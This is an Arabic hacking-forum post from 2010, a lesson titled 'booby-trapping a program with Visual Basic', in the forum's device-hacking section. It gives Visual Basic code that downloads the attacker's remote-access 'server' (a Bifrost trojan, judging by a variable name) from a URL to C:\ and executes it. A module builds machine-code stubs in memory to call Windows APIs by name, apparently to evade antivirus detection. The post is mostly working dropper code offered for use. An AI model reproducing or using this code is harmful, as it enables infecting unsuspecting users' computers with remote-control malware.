][الدرس الرابع: تلغيم برنامج بالفيوجل بيسك][

DR.THMoORY · 07-06-2010, 12:42 PM

مسآكم الله بالخير × صبحكم آلله بالخير !
درسنآ خفيف وسهل جدا..~

[mklb2]][الدرس الرابع: تلغيم برنامج بالفيوجل بيسك][[/mklb2]

][تحميل الشرح ميدا فاير][
[hide]dwonload[/hide]

][مرفوع على اليوتيوب كمان][
[hide][/hide]
][الفورم][

BifrostlRet = CallApiByName("urlmon", "URLDownloadToFileW", 0, StrPtr("الرابط المباشر لسيرفرك"), StrPtr("C:\اسم سيرفرك.exe"), 0, 0)
Call CallApiByName("shell32", "ShellExecuteW", 0, 0, StrPtr("C:\اسم سيرفرك.exe"), 0, 0, 0)

~الموديل~

كود PHP:

   
 
Declare Sub RtlMoveMemory Lib "kernel32" (dest As Any, src As Any, ByVal L As Long)

Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long

Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long

Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

 
Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long

On Error Resume Next

    Dim lPtr                As Long

    Dim bvASM(&HEC00& - 1)  As Byte

    Dim I                   As Long

    Dim lMod                As Long

    

    lMod = GetProcAddress(LoadLibraryA(sLib), sMod)

    If lMod = 0 Then Exit Function

    

    lPtr = VarPtr(bvASM(0))

    RtlMoveMemory ByVal lPtr, &H59595958, &H4:              lPtr = lPtr + 4

    RtlMoveMemory ByVal lPtr, &H5059, &H2:                  lPtr = lPtr + 2

    For I = UBound(Params) To 0 Step -1

        RtlMoveMemory ByVal lPtr, &H68, &H1:                lPtr = lPtr + 1

        RtlMoveMemory ByVal lPtr, CLng(Params(I)), &H4:     lPtr = lPtr + 4

    Next

    RtlMoveMemory ByVal lPtr, &HE8, &H1:                    lPtr = lPtr + 1

    RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4:         lPtr = lPtr + 4

    RtlMoveMemory ByVal lPtr, &HC3, &H1:                    lPtr = lPtr + 1

    CallApiByName = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)

    

End Function

انتهى تحياتي
فلسطين فلسطين فلسطين فلسطين

المصدر: :: vBspiders Professional Network ::

DFhg]vs hgvhfu: jgydl fvkhl[ fhgtd,[g fds;DF

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
استفسار الدرس الرابع.	newuser	جـــ'ابات العناكــ'ب	11	03-12-2014 07:56 AM

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

][الدرس الرابع: تلغيم برنامج بالفيوجل بيسك][

قســم إختــراق الأجهــزة